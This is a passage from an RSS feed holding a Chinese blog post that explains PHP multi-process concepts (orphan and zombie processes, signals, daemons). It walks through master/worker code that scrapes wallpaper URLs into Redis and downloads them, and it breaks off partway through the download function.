      <link>https://her-cat.com/posts/2020/02/02/php-multi-process-download-bing-wallpaper/</link>
      <pubDate>Sun, 02 Feb 2020 22:38:37 +0800</pubDate>
      <guid>https://her-cat.com/posts/2020/02/02/php-multi-process-download-bing-wallpaper/</guid>
      <description>在此之前，需要用到多进程来处理任务的时候都是用的这种“笨方法”。虽然在启动任务的时候比较麻烦，需要手动打开 n 个黑窗口，然后到指定目录下运行对应的脚本，但是在写代码的</description>
      <content:encoded><![CDATA[<h2 id="手里拿着锤子看什么都像是钉子">手里拿着锤子，看什么都像是钉子</h2>
<p>在放假的这几天，断断续续的看了老李关于 PHP 多进程的文章。</p>
<ul>
<li><a href="https://t.ti-node.com/thread/6445811931155529729">PHP多进程初探 &mdash; 开篇</a></li>
<li><a href="https://t.ti-node.com/thread/6445811931205861377">PHP多进程初探 &mdash; 孤儿和僵尸</a></li>
<li><a href="https://t.ti-node.com/thread/6445811931235221504">PHP多进程初探 &mdash; 信号</a></li>
<li><a href="https://t.ti-node.com/thread/6445811931335884800">PHP多进程初探 &mdash; 利用多进程开发点儿东西吧</a></li>
<li><a href="https://t.ti-node.com/thread/6445811931310718977">PHP多进程初探 &mdash; 再次谈daemon进程</a></li>
<li><a href="https://t.ti-node.com/thread/6445811931382022145">PHP多进程初探 &mdash; 进程间通信二三事</a></li>
</ul>
<p>在此基础上又看了下 <a href="https://github.com/owner888/phpspider">owner888/phpspider</a> 的多进程实现代码，这个是《我用爬虫一天时间“偷了”知乎一百万用户，只为证明PHP是世界上最好的语言 》一文所使用的程序。</p>
<p>等到自我感觉差不多已经掌握多进程时候，它就变成了我手中的锤子：</p>
<p>手里拿着锤子，看什么都像是钉子。</p>
<p>在《<a href="https://her-cat.com/posts/2018/09/08/use-querylist-redis-to-download-wallpaper/">QueryList + Redis 下载壁纸</a>》这篇文章中有提到，可以手动多开几个黑窗口提高壁纸下载速度。</p>
<p>正如文章中所说，在此之前，需要用到多进程来处理任务的时候都是用的这种“笨方法”。虽然在启动任务的时候比较麻烦，需要手动打开 n 个黑窗口，然后到指定目录下运行对应的脚本，但是在写代码的时候比较轻松，不用考虑多进程的可能导致的一些问题。</p>
<p>由于文中的壁纸站点倒闭了（与我无瓜），所以后面的代码换了一个站点来进行演示。</p>
<h2 id="php-多进程的一些概念">PHP 多进程的一些概念</h2>
<p>关于 PHP 多进程，上面列出来的文章其实已经讲的差不多了，这里其实就是个观后总结，已经看完文章的可以跳过。</p>
<h3 id="孤儿进程和僵尸进程">孤儿进程和僵尸进程</h3>
<p>父进程在创建子进程后，需要负责子进程的回收，否则就会出现 <code>孤儿进程</code> 或 <code>僵尸进程</code>。</p>
<ul>
<li>
<p><code>孤儿进程</code>：父进程在创建子进程后，子进程还在运行的时候自己先退出了，导致子进程没了爹，就变成了孤儿进程，然后被 Linux 的 “孤儿进程福利院” <code>init 进程</code>（进程 id 为 1）所收养。</p>
</li>
<li>
<p><code>僵尸进程</code>：父进程在创建子进程后，子进程退出了，但是父进程没有对其进行回收，导致子进程变成了僵尸进程，子进程的进程 ID、文件描述符等依然保存在系统中，极大的浪费了系统资源，相比孤儿进程危害更大。</p>
</li>
</ul>
<h3 id="回收子进程">回收子进程</h3>
<p>在父进程中通过 <a href="https://www.php.net/manual/zh/function.pcntl-wait.php">pcntl_wait()</a> 或 <a href="https://www.php.net/manual/zh/function.pcntl-waitpid.php">pcntl_waitpid()</a> 函数对子进程进行回收，上面提到的回收其实就是对子进程的状态收集。</p>
<ul>
<li>
<p><code>pcntl_wait()</code>：等待或返回创建的子进程状态。该函数是阻塞的，所以当执行到该函数时会阻塞在这里，直到有子进程退出或终止。</p>
</li>
<li>
<p><code>pcntl_waitpid()</code>：等待或返回创建的子进程状态。该函数是非阻塞的，也就是说当没有子进程需要处理时，它会返回 0 并继续执行后面的代码。</p>
</li>
</ul>
<h3 id="信号">信号</h3>
<p>信号是异步传送给进程的一种事件通知，进程无法预测何时会出现信号。</p>
<p>信号的产生有多种方式，比如在键盘上按下组合键 ctrl+c 或 ctrl+d 就会产生 <code>SIGINT</code> 信号并终止当前运行的程序；使用 <code>posix_kill()</code> 函数可以向指定的进程发送某种信号。</p>
<p>进程在收到信号后有以下三种处理方式。</p>
<ul>
<li>
<p><code>直接忽略</code>：对信号不做任何处理，<code>SIGSTOP</code> 和 <code>SIGKILL</code> 两种信号无法忽略，因为这两个信号是提供给用户停止或杀死进程最可靠的手段。</p>
</li>
<li>
<p><code>捕获信号</code>：程序自定义信号处理逻辑。</p>
</li>
<li>
<p><code>系统默认动作</code>：Linux 内核为每种信号都提供了默认动作，当程序没有主动捕获某种信号时，就会交由系统执行默认动作。大多数默认动作都是终止进程。</p>
</li>
</ul>
<p>捕获信号的处理方式：先通过 <a href="https://www.php.net/manual/zh/function.pcntl-signal.php">pcntl_signal()</a> 函数安装某个信号的回调函数，然后使用 <a href="https://www.php.net/manual/zh/function.pcntl-signal-dispatch.php">pcntl_signal_dispatch()</a> 调用每个等待信号通过 <code>pcntl_signal()</code> 安装的信号回调函数。</p>
<h3 id="守护进程">守护进程</h3>
<p>非守护进程在启动后，在终端按下组合键 ctrl+c 或 ctrl+d 就会终止当前运行的程序。想要成为守护进程，首先要在父进程中创建一个子进程，然后通过 <code>posix_setsid()</code> 函数将该子进程作为会话的主进程，并退出父进程，断开与终端的连接。</p>
<h2 id="代码实现">代码实现</h2>
<p>进程模型用的是单 Master 多 Worker 进程模型，Master 进程用于收集子进程的状态，一个 Worker 进程用于提取所有的壁纸下载地址，剩下 Worker 进程用于下载壁纸，因为下载比较耗时，所以需要多个 Worker 进程同时处理，下载壁纸的 Worker 进程数量可以自定义。</p>
<h3 id="入口函数">入口函数</h3>
<p>首先看一下入口函数 <code>run()</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">run</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 检查运行环境
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">checkEnv</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 守护进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">daemonize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 安装信号处理器
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">installSignalHandler</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 初始化 Redis
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">initRedis</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 初始化进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">initWorkers</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 监听子进程状态
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">monitor</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><p><code>run()</code> 函数已经概括了程序的运行流程。</p>
<p>首先检查一下当前运行环境，是否在 linux 系统中、是否安装相关扩展，最后是关于信号派遣的，PHP 7.1 新增了 <a href="https://www.php.net/manual/zh/function.pcntl-async-signals.php">pcntl_async_signals()</a> 函数，在此之前需要 <a href="https://www.php.net/manual/zh/control-structures.declare.php">declare()</a> 配合 <a href="https://www.php.net/manual/zh/function.pcntl-signal-dispatch.php">pcntl_signal_dispatch()</a> 函数进行信号派遣。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">checkEnv</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="s1">&#39;//&#39;</span> <span class="o">==</span> <span class="nx">\DIRECTORY_SEPARATOR</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">(</span><span class="s1">&#39;目前只支持 linux 系统&#39;</span><span class="o">.</span><span class="nx">PHP_EOL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">\extension_loaded</span><span class="p">(</span> <span class="s1">&#39;pcntl&#39;</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">(</span><span class="s1">&#39;缺少 pcntl 扩展&#39;</span><span class="o">.</span><span class="nx">PHP_EOL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">\extension_loaded</span><span class="p">(</span> <span class="s1">&#39;posix&#39;</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">(</span><span class="s1">&#39;缺少 posix 扩展&#39;</span><span class="o">.</span><span class="nx">PHP_EOL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">version_compare</span><span class="p">(</span><span class="k">PHP_VERSION</span><span class="p">,</span> <span class="mf">7.1</span><span class="p">,</span> <span class="s1">&#39;&lt;&#39;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">declare</span><span class="p">(</span><span class="nx">ticks</span> <span class="o">=</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 启用异步信号处理
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">\pcntl_async_signals</span><span class="p">(</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><h3 id="守护进程-1">守护进程</h3>
<p>守护进程上面已经介绍过，可以再配合代码注释理解。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">daemonize</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;daemonize&#39;</span><span class="p">]</span> <span class="o">!==</span> <span class="k">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 设置当前进程创建的文件权限为 777
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nx">umask</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">$pid</span> <span class="o">=</span> <span class="nx">\pcntl_fork</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$pid</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;创建守护进程失败&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$pid</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 主进程退出
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 将当前进程作为会话首进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="nx">\posix_setsid</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;设置会话首进程失败&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 两次 fork 保证形成的 daemon 进程绝对不会成为会话首进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$pid</span> <span class="o">=</span> <span class="nx">\pcntl_fork</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$pid</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;创建守护进程失败&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$pid</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 主进程退出
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><h3 id="初始化-redis">初始化 Redis</h3>
<p>初始化 Redis 就是从配置中获取 Redis 参数，然后实例化 Predis/Client。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">initRedis</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">redisClient</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Client</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;redis&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><h3 id="安装信号处理器">安装信号处理器</h3>
<p>这里只安装了 <code>SIGINT</code> 和 <code>SIGPIP</code> 信号的处理器，收到 <code>SIGINT</code> 信号后，调用 <code>stopAllWorkers()</code> 方法给所有的 Worker 发送 <code>SIGINT</code> 信号，停止所有的 Worker。而收到 <code>SIGPIPE</code> 信号则忽略不做任何处理。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">installSignalHandler</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 捕获 SIGINT 信号，终端中断
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nx">\pcntl_signal</span><span class="p">(</span><span class="nx">SIGINT</span><span class="p">,</span> <span class="p">[</span><span class="nv">$this</span><span class="p">,</span> <span class="s1">&#39;stopAllWorkers&#39;</span><span class="p">],</span> <span class="k">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 捕获 SIGPIPE 信号，忽略掉所有管道事件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nx">\pcntl_signal</span><span class="p">(</span><span class="nx">\SIGPIPE</span><span class="p">,</span> <span class="nx">\SIG_IGN</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">stopAllWorkers</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$maserPid</span> <span class="o">!==</span> <span class="nx">\posix_getpid</span><span class="p">())</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 子进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">unset</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$workers</span><span class="p">[</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">workerId</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 父进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">foreach</span> <span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$workers</span> <span class="k">as</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 给 worker 进程发送关闭信号
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">\posix_kill</span><span class="p">(</span><span class="nv">$pid</span><span class="p">,</span> <span class="nx">SIGINT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><h3 id="初始化进程">初始化进程</h3>
<p>接下来就是初始化进程，先通过 <a href="https://www.php.net/manual/zh/function.posix-getpid.php">posix_getpid()</a> 函数获取当前进程的进程 ID 作为 Master 进程 ID。</p>
<p>再通过 <code>forkWorker()</code> 方法创建提取壁纸地址进程，该进程的处理方法是 <code>extractWallpaperUrl()</code>。因为 work id 为 0 的留给了 Master 进程，所以这里的 work id 从 1 开始。</p>
<p>然后根据配置项 <code>worker_num</code> 创建指定数量的下载壁纸的进程，该进程的处理方法是 <code>downloadWallpaper()</code> 方法。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">initWorkers</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">self</span><span class="o">::</span><span class="nv">$maserPid</span> <span class="o">=</span> <span class="nx">\posix_getpid</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">forkWorker</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="p">[</span><span class="nv">$this</span><span class="p">,</span> <span class="s1">&#39;extractWallpaperUrl&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">$workerNum</span> <span class="o">=</span> <span class="p">(</span><span class="nx">int</span><span class="p">)</span> <span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;worker_num&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nv">$workerNum</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">forkWorker</span><span class="p">(</span><span class="nv">$i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">,</span> <span class="p">[</span><span class="nv">$this</span><span class="p">,</span> <span class="s1">&#39;downloadWallpaper&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><p>上面提到了 <code>forkWorker</code> 方法，这个方法其实跟老李文章中写的创建子进程代码差不多，在父进程中记录子进程的进程 ID，在进程中调用匿名函数处理业务逻辑。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">forkWorker</span><span class="p">(</span><span class="nv">$workerId</span><span class="p">,</span> <span class="nv">$callback</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$pid</span> <span class="o">=</span> <span class="nx">\pcntl_fork</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$pid</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 父进程记录子进程 PID
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">self</span><span class="o">::</span><span class="nv">$workers</span><span class="p">[</span><span class="nv">$workerId</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$pid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nv">$pid</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 子进程处理业务逻辑
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">workerId</span> <span class="o">=</span> <span class="nv">$workerId</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$callback</span> <span class="nx">instanceof</span> <span class="nx">\Closure</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$callback</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$callback</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$callback</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nx">\call_user_func</span><span class="p">(</span><span class="nv">$callback</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;进程创建失败&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><h3 id="壁纸采集逻辑">壁纸采集逻辑</h3>
<p>提取壁纸地址和下载壁纸的逻辑跟之前写的那篇文章差不多。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">extractWallpaperUrl</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;提取壁纸地址进程启动...&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nv">$page</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$html</span> <span class="o">=</span> <span class="nx">\file_get_contents</span><span class="p">(</span><span class="s2">&#34;https://bing.ioliu.cn/?p=</span><span class="si">{</span><span class="nv">$page</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">\preg_match_all</span><span class="p">(</span><span class="s1">&#39;/&lt;img([^&gt;]*)\ssrc=&#34;([^\s&gt;]+)&#34;/&#39;</span><span class="p">,</span> <span class="nv">$html</span><span class="p">,</span><span class="nv">$matches</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$matches</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="o">||</span> <span class="nx">\count</span><span class="p">(</span><span class="nv">$matches</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="o">===</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;壁纸地址提取完毕, 当前页码: %s&#39;</span><span class="p">,</span> <span class="nv">$page</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="nv">$urls</span> <span class="o">=</span> <span class="nx">\array_unique</span><span class="p">(</span><span class="nx">\array_filter</span><span class="p">(</span><span class="nv">$matches</span><span class="p">[</span><span class="mi">2</span><span class="p">]));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$urls</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="c1">// 将壁纸 url 放入队列中
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">redisClient</span><span class="o">-&gt;</span><span class="na">sadd</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;queue_key&#39;</span><span class="p">],</span> <span class="nv">$urls</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;提取壁纸数量: %s, 当前页面: %s&#39;</span><span class="p">,</span> <span class="nx">count</span><span class="p">(</span><span class="nv">$urls</span><span class="p">),</span> <span class="nv">$page</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">downloadWallpaper</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;下载壁纸进程启动...&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">while</span> <span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$freeTime</span> <span class="o">&lt;</span> <span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;max_free_time&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$url</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">redisClient</span><span class="o">-&gt;</span><span class="na">spop</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;queue_key&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
